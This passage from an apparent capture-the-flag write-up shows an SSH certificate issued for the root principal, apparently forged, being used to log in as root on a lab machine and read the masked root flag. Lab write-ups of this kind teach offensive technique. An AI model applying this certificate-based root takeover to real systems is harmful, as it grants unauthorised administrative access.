ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIEPYJl0+InbBDz2O0+Ou6SSpECjzMNU2olxpj3486rSAAAAAIMso+6qoP7lLchKlsEtTerYJMX91+Tw4Sun1ObtFvBJOAAAAAAAAAAAAAAABAAAABDB4ZGYAAAAIAAAABHJvb3QAAAAAAAAAAP//////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAAhcAAAAHc3NoLXJzYQAAAAMBAAEAAAIBALqXE1LMlAVTcr/QUspyLUFmv4cvVRNDjnLyfOW7S1VoIVyW4RlnI+7fCALhdsIaaKGbzDKgGAlcjoFnJFOmLOYclkCM2a+L2dxShLTpGmX6gC/wTca6B1xCiCVI/s16bQmemYeg4v8W1K1oo9O2gRgdZzetV3pgEZ9cKsXSUSAWxBzAU4uQ+hLfkh2dmpyPe8G3PsCyh3aqJbO2TqXZQeNnKtQpTGJERFeyvu421j3FKADUKWFl3HcxQTWKe2RtSB0ULXJhdL6Wy+VQP83nhhgtIofsZWwwXNX9xazGDHzP0J+AO9L4zQFVGsaIROZxjWMAs5OWfs8KcuXa8LVGvSPtu2730NisuZiPgv06AqMd5fsidVAIaehEdalOHKndaZ2daiCECLIAu6Ivf1ddCl6fa3sZB37NPlBu/YektbiG5Upehj7bYpJtWwCEUB7GBnLTh/EpnDozljPMgDbwlachd0JvF1iFWbxDOWcocSEjYnVP/3CtS8EVBATGZeu38ceYlmuM1+OR3i1SxqsuUA0nuKU0w1LOTdC4mna3YjsgE7ok7x5C3mMQVI9u0hq/27y8+xMsxGMx+umrGIAD5UCjPN45hksSEJZq1ZNDDrDOmdv36p8ChCPWQaE9N6U62Z0vHx0m2pLDk7gcwCGWci2OqvGvnv7ffcWDWJqoG+yZAAACFAAAAAxyc2Etc2hhMi01MTIAAAIAYN6pzXs5aeUemv4Z4bUgFCeM6EGrl5ViVMccrIgp+4oYJZKoFy1ArpeGrlSxldyt5R6gB0hexE/TbfMNHUJ60OP9nNLwj8iPBI7NDW19bVC01QB3T9XaRoHafKVS9x+pkU7yympIckFWxrlHU1Ts4jlKpG7hchmTidmM4WERiCwWaxDoUD1axaNqHmXdI9+QR6oZ8FTrwrcy5Gr+PNjTfUZ0RSnZDFhkyuONoya3s8jehBioKzLLZHD0ZMPNKjYqCyWSeFiBumpMrYlWz5LHMl3gobQCLA8tXUeg1cBcQ14PeUSQ2soNyI4bvVnxvRbuUfivRkwYurVpZii5+sPK6UlW1ED2+CsbVN1OZ6hr8+8DCrAyJ9f+DcFNFGBjATiw387FKNmwgyPVoWiLadwDAPekf6RH9N98hIC093rKXcqNnZmqdSIfWmOYTEGdHknJa+cijAfBKTCVT1GzDPCrl+PJkYIgRJzdgZkKI49ZF6pznhp+llP9nCZ/69V2sjL6mXrPBj7JiYs67UVYyWTEFXYKRtnxSzHIjh4POHTACdpR71hVNqbYfxwSJUf0JYN1wXvgVxmvNVSnlKYtTDy2Wu9+/cSQX6m/qDjiQqnu3ptqWZkjBt+5c+ffQYdSJ4D2i3wc2fplyPh+qxqEFzol1IYLR/Jb9DkC03BBHA7mkBY= oxdf@hacky

Now that key works to SSH as root:

oxdf@hacky$ ssh -i root-ssh root@10.129.11.207
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@principal:~# 

And get root.txt:

root@principal:~# cat root.txt
d3cc5c3a************************